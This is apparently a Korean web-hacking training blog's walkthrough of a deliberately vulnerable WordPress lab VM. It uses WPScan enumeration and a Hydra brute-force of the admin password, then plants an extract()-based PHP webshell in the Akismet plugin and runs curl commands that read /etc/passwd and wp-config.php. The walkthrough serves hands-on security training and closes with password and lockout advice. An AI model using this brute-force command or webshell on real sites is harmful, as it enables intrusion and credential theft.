홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507)

Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325)

VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125)

Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202)

Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129)

[과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619)

[과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827)

[과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810)

[과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809)

Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721)

칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404)

단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329)

WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130)

오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125)

WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123)

오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122)

오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122)

오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121)

오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118)

WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116)

WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114)

WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113)

SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110)

MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109)

WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106)

WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104)

WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104)

WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102)

WH-Account-01 웹해킹훈련장 실습 설명서 (20170103)

WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103)

WH-Account-02 웹해킹훈련장 실습 설명서 (20170104)

저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231)

로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228)

DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222)

FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220)

이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219)

HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214)

경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214)

웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213)

HTML 삽입, XSS 공격 탐지방법 (20161211)

오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210)

오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208)

nikto와 owasp-zap 연동 (20161206)

미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205)

오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205)

오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204)

기억하기 쉽고 안전한 비밀번호 만들기 (20161203)

2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202)

KISA의 랜섬웨어 예방 수칙 (20161202)

WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201)

DVWA Brute Force 실습 설명서 (20161205)

DVWA Command Injection 실습 설명서 (20161207)

DVWA CSRF (low, high level) 실습 설명서 (20161208)

DVWA File Inclusion 실습 설명서 (20161215)

DVWA File Upload 실습 설명서 (20161221)

DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224)

DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222)

DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227)

DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226)

DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227)

DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101)

SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201)

WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130)

WebGoat: Bypass a Path Based Access Control Scheme (20161207)

WebGoat, LAB: DOM-Based cross-site scripting (20161208)

WebGoat, Authentication Flaws: Multi Level Login 2 (20161209)

WebGoat, Code Quality: Discover Clues in the HTML (20161210)

WebGoat XSS: Phishing with XSS (20161211)

WebGoat: OS Command Injection (20161215)

WebGoat: Numeric SQL Injection (20161216)

WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217)

WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218)

2016.11.30 웹서버 공격 로그 (20161130)

OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129)

WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126)

WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128)

인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125)

PHP Easter Egg의 이해와 조치방안 (20161125)

WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124)

WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126)

웹해킹 공격/방어 일람 (20161121)

webhack.dynu.net 문자배너 만들기 - toilet (20161121)

MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120)

X-XSS-Protection헤더 시험 페이지 (20161119)

방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118)

클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117)

X-Frame-Options헤더 시험 페이지 (20161118)

공시생 성적조작 사건, 물리보안과 정보보안 (20161117)

ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116)

[웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116)

weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117)

슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115)

버추얼박스 가상머신에서 Tails OS 설치 (20161114)

Kali Linux에 Tor Browser 설치하기 (20161114)

인터넷익명성 - VPN과 Tor (20161114)

Kali Linux, open-vm-tools, Shared Folder (20161113)

SSL Strip 공격과 HSTS (20161112)

모든 꼬리표 모아보기(태그 클라우드) (20161111)

HTTP 세션 탈취와 IP보안 (20161111)

HTTP TRACE method와 XST 공격 (20161111)

세션쿠키와 HttpOnly (20161110)

HTTP 메소드 수동점검 방법 (20161110)

파일업로드(웹쉘) 방어하기 (20161109)

파일다운로드/경로조작 방어하기 (20161109)

XSS, SQL Injection 방어하기 (20161109)

길찾기(sitemap) (20161109)

웹취약성분석 관련 파일 목록 (20161108)

SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107)

웹취약점 분석 도구로서의 THC Hydra (20161107)

웹취약점 분석 도구로서의 cURL (20161107)

[웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104)

[PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106)

무료 웹해킹 교육장 목록 (20161103)

칼리 리눅스(Kali Linux) 설치 (20161030)

가상머신 버추얼 박스(VirtualBox) 설치 (20161029)

가상머신 VMWare Workstation Player 설치 (20161028)

[웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027)

스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719)

<< 목록숨기기
#WH-IllInst-WordPress #웹해킹 실습 #실습설명서 #WordPress #워드프레스 #wpscan #취약한 비밀번호 #무작위대입공격 #관리자계정탈취 #brute-force attack #http-form-post #hydra #PHP 웹쉘 #extract() 웹쉘 #A1-Injection #A9-Using Components with Known Vulnerabilities

WH-IllInst-Wordpress: 워드프레스 웹해킹 훈련장 실습 설명서

워드프레스(WordPress)는 전 세계에서 가장 많이 사용하는 CMS이다. 여기서는 관리자 비밀번호가 취약하게 만들어졌을 때 워드프레스 서버에 침투할 수 있는 취약점을 다룬다. 먼저 WH-IllInst-WordPress 훈련장 소개문서를 참조하여 가상머신을 부팅한다. 그리고 칼리 리눅스의 /etc/hosts 파일에 192.168.206.136vulnwp로 등록한다.

워낙 많은 곳에서 워드프레스가 사용되다 보니 공격자도 매우 많다. 때문에 취약점을 점검해 줄 수 있는 WordPress 전용 취약점 점검도구도 존재한다. WPScan이다.

WPScan logo

WPScan을 이용하면 현재 사용중인 WordPress와 그 속에서 사용되는 각종 플러그인(Plugin)에서 존재하는 취약점을 탐지할 수 있다. WH-IllInst-WordPress 훈련장을 대상으로 WPScan을 실행해보자.

WordPress 전용 취약점 스캐너, WPScan 점검 결과

다음은 http://vulnwp/를 대상으로 플러그인(p)과 계정(u)을 스캔한 결과이다. 옵션은 --enumerate를 사용한다.

root@kali:~# wpscan -u vulnwp --enumerate p,u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.2
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] The remote host tried to redirect to: http://vulnwp/wordpress/
[?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]y
[+] URL: http://vulnwp/wordpress/
[+] Started: Tue Jan 10 11:39:08 2017

[!] The WordPress 'http://vulnwp/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://vulnwp/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-CONTENT-TYPE-OPTIONS: nosniff
[+] Interesting header: X-FRAME-OPTIONS: DENY
[+] Interesting header: X-XSS-PROTECTION: 1
[+] XML-RPC Interface available under: http://vulnwp/wordpress/xmlrpc.php

[+] WordPress version 4.7 (Released on 2016-12-06) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers

[+] WordPress theme in use: twentyseventeen - v1.0

[+] Name: twentyseventeen - v1.0
 |  Latest version: 1.0 (up to date)
 |  Location: http://vulnwp/wordpress/wp-content/themes/twentyseventeen/
 |  Readme: http://vulnwp/wordpress/wp-content/themes/twentyseventeen/README.txt
 |  Style URL: http://vulnwp/wordpress/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating installed plugins (only ones marked as popular) ...

   Time: 00:00:01 <======================> (1000 / 1000) 100.00% Time: 00:00:01

[+] We found 1 plugins:

[+] Name: akismet - v3.2
 |  Latest version: 3.2 (up to date)
 |  Location: http://vulnwp/wordpress/wp-content/plugins/akismet/
 |  Readme: http://vulnwp/wordpress/wp-content/plugins/akismet/readme.txt

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-----------------+
    | Id | Login | Name            |
    +----+-------+-----------------+
    | 1  | admin | admin – 설치가 잘못된 |
    +----+-------+-----------------+
[!] Default first WordPress username 'admin' is still used

[+] Finished: Tue Jan 10 11:39:16 2017
[+] Requests Done: 1067
[+] Memory used: 84.281 MB
[+] Elapsed time: 00:00:08
root@kali:~#

WPScan 탐지 결과에서는 http://vulnwp/wordpress/readme.html에서 WordPress 버전 노출 문제를 탐지하였다. 그리고 admin 계정이 존재하는 것을 탐지하였다. 계정(ID)이 하나만 존재하므로 이 계정이 관리자일 것이다.

이 훈련장에서 사용하는 워드프레스의 로그인 페이지는 http://vulnwp/wordpress/wp-login.php이다. OWASP-ZAP을 실행하고 Firefox 웹 브라우저의 프록시에 연결하여 admin 계정 로그인을 시도한다.

WH-illinst-wordpress login page
[ WH-IllInst-WordPress 훈련장 로그인 페이지 - admin:PASS 입력 ]

WH-illinst-wordpress admin:PASS login failed
[ WH-IllInst-WordPress 훈련장 관리자 로그인 실패 화면 ]

위의 두 그림에서 admin:PASS로 워드프레스 로그인을 시도하였다. (당연히) 로그인에 실패하였다. OWASP-ZAP에서 확인한 로그인의 HTTP 요청은 다음과 같았다.

POST http://vulnwp/wordpress/wp-login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://vulnwp/wordpress/wp-login.php
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Host: vulnwp

log=admin&pwd=PASS&wp-submit=%EB%A1%9C%EA%B7%B8%EC%9D%B8&redirect_to=http%3A%2F%2Fvulnwp%2Fwordpress%2Fwp-admin%2F&testcookie=1

로그인 실패을 알리는 HTML 소스는 다음과 같다(FireFox의 소스보기(View Source)를 이용하면 확인할 수 있다).

	<div id="login_error">	<strong>오류</strong>: 사용자명 <strong>admin</strong>에 대한 비밀번호가 틀립니다. <a href="http://vulnwp/wordpress/wp-login.php?action=lostpassword">비밀번호를 잃어버렸나요?</a><br />
</div>

이제 무작위대입공격(brute-force attack)으로 admin 계정의 비밀번호가 취약한 지 확인해보자. 위의 HTTP 요청과 로그인에 실패했을 때의 출력을 바탕으로 THC Hydra의 공격 구문을 만들어보자. 로그인 실패시의 탐지 문자열은 비밀번호가 틀립니다.로 선정하였다. login_error로 대체해도 될 것이다.

THC Hydra를 이용한 admin 계정 대상 무작위대입 공격

위에서 작성한 hydra 명령어는 다음과 같다.

hydra vulnwp http-form-post "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=%EB%A1%9C%EA%B7%B8%EC%9D%B8&redirect_to=http%3A%2F%2Fvulnwp%2Fwordpress%2Fwp-admin%2F&testcookie=1:비밀번호가 틀립니다." -l admin -P weakpass.txt

이제 칼리 리눅스에서 hydra를 실행한다. time 명령어를 앞에 붙여서 공격시간을 측정해보았다. 계정(-l)은 admin을 대상으로 한다. 비밀번호 목록은 500여 개의 취약한 비밀번호 파일(weakpass.txt)이다. 실제 공격이라면 이보다 훨씬 많은 비밀번호 목록을 사용할 것이다.

root@kali:~# time hydra vulnwp http-form-post "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=%EB%A1%9C%EA%B7%B8%EC%9D%B8&redirect_to=http%3A%2F%2Fvulnwp%2Fwordpress%2Fwp-admin%2F&testcookie=1:비밀번호가 틀립니다." -l admin -P weakpass.txt
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-10 16:38:47
[DATA] max 16 tasks per 1 server, overall 64 tasks, 535 login tries (l:1/p:535), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] 158.00 tries/min, 158 tries in 00:01h, 377 to do in 00:03h, 16 active
[80][http-post-form] host: vulnwp   login: admin   password: qwerty123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-10 16:40:58

real	2m11.236s
user	0m0.512s
sys	0m0.924s
root@kali:~#

THC Hydra의 무작위 대입공격에서 2분 11초 만에 admin:qwerty123 계정정보를 찾아내었다. 관리자(admin)의 비밀번호가 매우 취약하게 만들어져 있어서 공격자는 WordPress의 관리자 권한을 탈취할 수 있게 되었다.

WordPress 관리 기능을 이용한 PHP 웹쉘 생성

위에서 탈취한 관리자 계정(admin:qwerty123)으로 워드프레스에 로그인한다. 로그인 페이지는 http://vulnwp/wordpress/wp-login.php이다.

WH-illinst-wordpress admin:qwerty123 login success
[ WH-IllInst-WordPress 훈련장 관리자 로그인(admin:qwerty123) 성공 화면 ]

관리자 계정(admin:qwerty123)으로 로그인에 성공하면 관리자 영역으로 이동한다. 위의 그림에서 볼 수 있듯이 관리자 영역의 URL은 http://vulnwp/wordpress/wp-admin/이다.

WH-illinst-wordpress plugin edit
[ WH-IllInst-WordPress 훈련장 관리 기능: 플러그인 편집 ]

관리자 영역에서 "플러그인" 링크를 누른다. URL은 http://vulnwp/wordpress/wp-admin/plugins.php이다. Akismet헬로우 달리 플러그인을 볼 수 있다. 워드프레스를 설치하면 기본으로 설치되는 플러그인들이다. 이 중에서 Akismet편집을 누른다.

WH-illinst-wordpress plugin edit akismet webshell code
[ WH-IllInst-WordPress 훈련장 관리 기능: 플러그인 편집 - PHP 코드 삽입 ]

http://vulnwp/wordpress/wp-admin/plugin-editor.php?file=akismet%2Fakismet.php에서 akismet/akismet.php의 소스코드를 위의 그림과 같이 수정한다.

@extract($_REQUEST);
if (isset($x) && isset($y)) @die($x($y));

위의 PHP 코드는 extract() 함수를 이용한 웹쉘 코드이다. 이 코드는 PHP Backdoors: Hidden With Clever Use of Extract Function를 참조하였다. GET이나 POST 방식으로 x 변수에는 "system"이나 "passthru"를 입력하고 y 변수에 명령어를 삽입하면 웹쉘로 작동한다.

"파일 업데이트"를 누르면 웹쉘 코드가 akismet/akismet.php에 저장된다.

WH-illinst-wordpress akismet php extract webshell
[ WH-IllInst-WordPress 훈련장 관리 기능: 플러그인 편집 - PHP 코드 삽입 결과 ]

http://vulnwp/wordpress/wp-admin/plugin-editor.php?file=akismet%2Fakismet.php&plugin=akismet%2Fakismet.php&a=te&scrollto=0에서 Akismet 플러그인의 수정된 PHP 소스를 볼 수 있다. 이제 공격자는 이 파일에 접속하여 원하는 운영체제 명령어를 실행할 수 있다.

Akismet 웹쉘 실행

WPscan의 결과(Location: http://vulnwp/wordpress/wp-content/plugins/akismet/)로 부터 Akismet의 PHP 파일의 URL은 http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php이라는 것을 파악할 수 있다. 이 URL에 먼저 접속해보자.

root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php
Hi there!  I'm just a plugin, not much I can do when called directly.root@kali:~# 

GET이나 POST로 x, y 변수를 전달하지 않으면, 웹쉘 코드 삽입 전후의 결과가 동일하다. curl을 이용하여 POST로 x, y 변수를 입력하여 Akismet의 PHP 파일에 접속하면 웹쉘로 실행이 가능하다.

root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php --data "x=passthru&y=pwd"
/var/www/wordpress/wp-content/plugins/akismet
root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php --data "x=passthru&y=id;uname -a;cat /etc/passwd"
uid=80(www) gid=80(www) groups=80(www)
Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux
root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false
postfix:x:101:102:Linux User,,,:/home/postfix:/bin/false
root@kali:~# curl http://vulnwp/wordpress/wp-content/plugins/akismet/akismet.php --data "x=system&y=cat /var/www/wordpress/wp-config.php"
...... 이상 생략 ......
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'root');

/** MySQL hostname */
define('DB_HOST', 'localhost');
...... 이하 생략 ......
root@kali:~#

x에는 "system"이나 "passthru" 등을 사용할 수 있다. y에 명령어를 전달하면 운영체제 명령어를 실행하여 시스템 정보를 분석할 수 있다. 또는 PHP 소스를 열람하여 MySQL 계정정보를 알아낼 수도 있을 것이다. WH-IllInst-WordPress 훈련장에서 사용하는 MySQL 계정 정보는 root:root이다.

마무리

워드프레스의 계정(ID)은 항상 노출된다(wpscan). 만약 관리자 계정의 비밀번호가 취약한 경우에는 이 사례에서와 같이 플러그인 편집 기능을 이용하여 시스템 침투가 가능할 수 있으므로 매우 조심하여야 한다. 비밀번호는 추정이 불가능하도록 복잡하게 정하는 것이 좋다(재미로 보는 비밀번호 복잡도 문서의 기억하기 쉬운 비밀번호 참조). 추가적으로 WP Limit Login Attempts나 Login Lockdown와 같은 로그인 시도 횟수를 제한하는 플러그인을 사용하는 것도 도움이 된다.

[처음 작성한 날: 2017.01.10]    [마지막으로 고친 날: 2017.01.10] 


> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (2017.01.10)

> 다음 글 : MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (2017.01.09)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .